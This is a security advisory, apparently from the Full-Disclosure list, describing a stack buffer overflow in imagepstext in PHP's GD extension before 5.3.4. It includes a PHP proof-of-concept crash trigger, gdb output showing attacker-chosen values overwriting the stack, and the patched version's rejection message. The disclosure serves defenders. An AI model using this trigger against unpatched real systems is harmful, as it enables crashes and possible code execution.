Description: Prior to version 5.3.4, PHP's GD extension did not properly validate the number of anti-aliasing steps passed to the function imagepstext. The value of this parameter is expected to be either 4 or 16. To accommodate this, an array of 16 integers, aa, is located on the stack. Before the number of steps is validated, it is used to populate the array. This results in a stack-based buffer overflow. Proof of concept: <?php $img = imagecreatetruecolor(1, 1); //Arbitrary $fnt = imagepsloadfont("somefont.pfb"); //Arbitrary //The final parameter is the number of anti-aliasing steps imagepstext($img, "Testing", $fnt, 0xAAAAAA, 0xAAAAAA, 0xAAAAAA, 0xAAAAAA, 0xAAAAAA, 0, 0, 0.0, 99999); ?> Result in php 5.3.3 (with gdb): sh-4.1$ php -v PHP 5.3.3 (cli) (built: Jul 22 2010 15:37:02) Copyright (c) 1997-2010 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies sh-4.1$ gdb php <trimmed> (gdb) run imagepstext_poc.php Starting program: /usr/bin/php imagepstext_poc.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x004dcca7 in zif_imagepstext (ht=11184810, return_value=0xaaaaaa, return_value_ptr=0xaaaaaa, this_ptr=0xaaaaaa, return_value_used=11184810) at /usr/src/debug/php-5.3.3/ext/gd/gd.c:4257 4257 aa[i] = gdImageColorResolveAlpha(bg_img, rd, gr, bl, al); Missing separate debuginfos, use: <trimmed> (gdb) bt #0 0x004dcca7 in zif_imagepstext (ht=11184810, return_value=0xaaaaaa, return_value_ptr=0xaaaaaa, this_ptr=0xaaaaaa, return_value_used=11184810) at /usr/src/debug/php-5.3.3/ext/gd/gd.c:4257 #1 0x00aaaaaa in ?? () #2 0x00aaaaaa in ?? () #3 0x00aaaaaa in ?? () #4 0x00aaaaaa in ?? () #5 0x00aaaaaa in ?? () <etc> Result in php 5.3.4: $ ./php-5.3.4 -v PHP 5.3.4 (cli) (built: Dec 10 2010 10:26:40) Copyright (c) 1997-2010 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies $ ./php-5.3.4 imagepstext_poc.php Warning: imagepstext(): AA steps must be 4 or 16 in /home/.../imagepstext_poc.php on line 4 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/